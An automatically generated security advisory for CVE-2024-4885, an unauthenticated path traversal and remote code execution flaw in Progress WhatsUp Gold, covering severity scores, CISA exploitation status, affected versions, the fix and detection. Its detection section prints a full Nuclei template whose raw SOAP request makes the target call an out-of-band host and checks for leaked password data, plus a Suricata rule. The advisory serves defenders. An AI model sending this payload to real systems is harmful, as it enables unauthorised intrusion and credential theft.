CVE-2024-4885: Progress WhatsUp Gold Path Traversal Vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

In WhatsUp Gold versions released before 2023.1.3, an unauthenticated Remote Code Execution vulnerability in Progress WhatsUpGold.  The WhatsUp.ExportUtilities.Export.GetFileWithoutZip allows execution of commands with iisapppool\nmconsole privileges.

Description quoted from the CVE record (assigned by ProgressSoftware, published 2024-06-25).

Weakness: CWE-22 Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since
2025-03-03
US federal deadline
2025-03-24
Ransomware use
Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2024-05764, CNNVD-202406-2801, EUVD-2024-44455, GHSA-qcj6-wq2r-c3xh, ZDI-24-893

VEDAS cluster: VEDAS:CHAOSCHRONOMASTER

Exploit Observer links 7 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (7)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Research and write-ups (5)

Vulnerability databases and vendor advisories (6)

Catalogue entries, not exploit evidence.

67 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
0.993
very likely to be attacked soon
VEDAS
0.979
strong exploit evidence
On CISA KEV
Yes, since 2025-03-03
Detection rule
Nuclei · Suricata
EPSS (chance of attack)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.1CVE-2024-4885 EPSS over time2025-042026-11-01
VEDAS (exploit evidence)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.9CVE-2024-4885 VEDAS over time2025-042026-11-01

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish.

Who is affected

ProductAffectedNot affected
Progress Software Corporation WhatsUp Goldfrom 2023.1.0 before 2023.1.3Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: progress whatsup_gold, progress_software_corporation whatsup_gold.

How to fix it

Fixed versions stated in the CVE record: 2023.1.3.

CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

How to detect it

Nuclei template (active check)

Progress WhatsUpGold - Path Traversal

In WhatsUp Gold versions released before 2023.1.3, an unauthenticated Remote Code Execution vulnerability in Progress WhatsUpGold. The WhatsUp.ExportUtilities.Export.GetFileWithoutZip allows execution of commands with iisapppool\nmconsole privileges.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (POST /NmAPI/RecurringReport); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2024-4885.yaml
Show the template (42 lines)
yaml
id: CVE-2024-4885

info:
  name: "Progress WhatsUpGold - Path Traversal"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    In WhatsUp Gold versions released before 2023.1.3, an unauthenticated Remote Code Execution vulnerability in
    Progress WhatsUpGold. The WhatsUp.ExportUtilities.Export.GetFileWithoutZip allows execution of commands with
    iisapppool\nmconsole privileges.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2024-4885&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=progress&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-4885
    cwe-id: CWE-22
  metadata:
    verified: false
  tags: cve,cve2024,rce,progress,whatsup,lfi,kev,vkev,vuln
http:
  - raw:
      - |
        POST /NmAPI/RecurringReport HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml; charset=utf-8
        SOAPAction: http://tempuri.org/IRecurringReportServices/TestRecurringReport

        <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><TestRecurringReport xmlns="http://tempuri.org/"><rr xmlns:a="http://schemas.datacontract.org/2004/07/WUGDataAccess.RecurringReports.DataContracts" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><a:AlternateHost i:nil="true"/><a:Disabled>false</a:Disabled><a:EmailSettings xmlns:b="http://schemas.datacontract.org/2004/07/WUGDataAccess.Core.DataContracts"><b:Authentication>None</b:Authentication><b:CredentialsId i:nil="true"/><b:DirectoryPath>C:\PROGRA~2\Ipswitch\WhatsUp\Data\ScheduledReports</b:DirectoryPath><b:Password/><b:Port>25</b:Port><b:SMTPServer/><b:SendFrom>WhatsUpGold@YourDomain.com</b:SendFrom><b:SendTo i:nil="true"/><b:Subject>Emailing: Wireless Log</b:Subject><b:TimeoutSec>5</b:TimeoutSec><b:UseEncryptedConn>false</b:UseEncryptedConn><b:Username/></a:EmailSettings><a:ExportOptions><a:AuthorName>WhatsUp Gold</a:AuthorName><a:AutosizePDFPage>true</a:AutosizePDFPage><a:AvoidImageBreak>false</a:AvoidImageBreak><a:AvoidTextBreak>true</a:AvoidTextBreak><a:BrowserPageHeight>0</a:BrowserPageHeight><a:BrowserPageWidth>0</a:BrowserPageWidth><a:ConversionDelay>3</a:ConversionDelay><a:CustomPageHeight>0</a:CustomPageHeight><a:CustomPageWidth>0</a:CustomPageWidth><a:ExportAuthToken/><a:ExportType>html</a:ExportType><a:FitHeight>false</a:FitHeight><a:FitWidth>false</a:FitWidth><a:InternalLinksEnabled>false</a:InternalLinksEnabled><a:LiveURLsEnabled>false</a:LiveURLsEnabled><a:NavigationTimeout>240</a:NavigationTimeout><a:PageOrientation>Portrait</a:PageOrientation><a:PageSize>Letter</a:PageSize><a:PdfMessage>html</a:PdfMessage><a:PreviewEnabled>false</a:PreviewEnabled><a:Subject i:nil="true"/><a:TimeFormat>g:i:s a</a:TimeFormat><a:Title i:nil="true"/><a:ToMail>true</a:ToMail><a:WebExportDirectory>C:\\Program Files (x86)\\Ipswitch\\WhatsUp\\html\\NmConsole\\</a:WebExportDirectory><a:ZipEnabled>false</a:ZipEnabled></a:ExportOptions><a:IncludeURLInEmail>false</a:IncludeURLInEmail><a:Name>2e441d4d5a4b258b</a:Name><a:NextRun i:nil="true"/><a:RecurringReportID>-1</a:RecurringReportID><a:Schedule xmlns:b="http://schemas.datacontract.org/2004/07/WUGDataAccess.Core.DataContracts"><b:DailyDays>1</b:DailyDays><b:DailyOptions>Interval</b:DailyOptions><b:DaysOfTheWeek xmlns:c="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><c:boolean>true</c:boolean><c:boolean>true</c:boolean><c:boolean>true</c:boolean><c:boolean>true</c:boolean><c:boolean>true</c:boolean><c:boolean>true</c:boolean><c:boolean>true</c:boolean></b:DaysOfTheWeek><b:MonthlyDayMonths>1</b:MonthlyDayMonths><b:MonthlyDayNumber>3</b:MonthlyDayNumber><b:MonthlyOptions>DayOfMonth</b:MonthlyOptions><b:MonthlyRecur>First</b:MonthlyRecur><b:MonthlyRecurDay>Sunday</b:MonthlyRecurDay><b:MonthlyRecurMonths>1</b:MonthlyRecurMonths><b:RecurringInterval>1</b:RecurringInterval><b:RecurringTimeIntervals>Minutes</b:RecurringTimeIntervals><b:ScheduleType>TimeInterval</b:ScheduleType><b:StartTime>2024-07-05T16:59:14.047957+01:00</b:StartTime><b:TimeIntervalStartDate>2024-07-05T16:59:14.047957+01:00</b:TimeIntervalStartDate><b:WeeklyWeeks>1</b:WeeklyWeeks><b:YearlyDayOfMonth>3</b:YearlyDayOfMonth><b:YearlyMonthRecur>First</b:YearlyMonthRecur><b:YearlyMonthRecurDay>Sunday</b:YearlyMonthRecurDay><b:YearlyMonths>March</b:YearlyMonths><b:YearlyOptions>DayOfYear</b:YearlyOptions><b:YearlyRecurMonth>March</b:YearlyRecurMonth></a:Schedule><a:URL>{"title":"foo","renderType":"aspx","reports":[{"title":"thetitle","url":"/NmConsole/api/Wireless/ReportWirelessLog","dateRangeFilter":{"label":"Date Range","n":0,"range":"Today","text":"Today"},"severityFilter":{"label":"Severity","value":-1,"text":"ALL"},"limit":50,"grid":{"emptyText":"[ No records found ]","columns":[{"dataIndex":"Date","text":"Date","flex":1},{"dataIndex":"Severity","text":"Severity","flex":1},{"dataIndex":"Message","text":"Message","flex":1}],"filters":[],"sorters":[]}}],"baseUrl":"http://{{interactsh-url}}","userId":1}</a:URL><a:WebUserID>1</a:WebUserID><a:WebUserName>admin</a:WebUserName></rr></TestRecurringReport></s:Body></s:Envelope>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "sPassword"

CVE-2024-4885.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2024-4885 Progress WhatsUpGold - Path Traversal. Add them to your Suricata rule set and reload.

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suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2024-4885 Progress WhatsUpGold - Path Traversal"; flow:established,to_server; http.uri; content:"RecurringReport"; nocase; http.request_body; content:"http://"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2024-4885; reference:url,https://www.exploit.observer/?keyword=CVE-2024-4885&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=progress&match=exact; sid:1009631; rev:1;)

CVE-2024-4885.rules on GitHub

References

Vendor advisories and patches

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Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.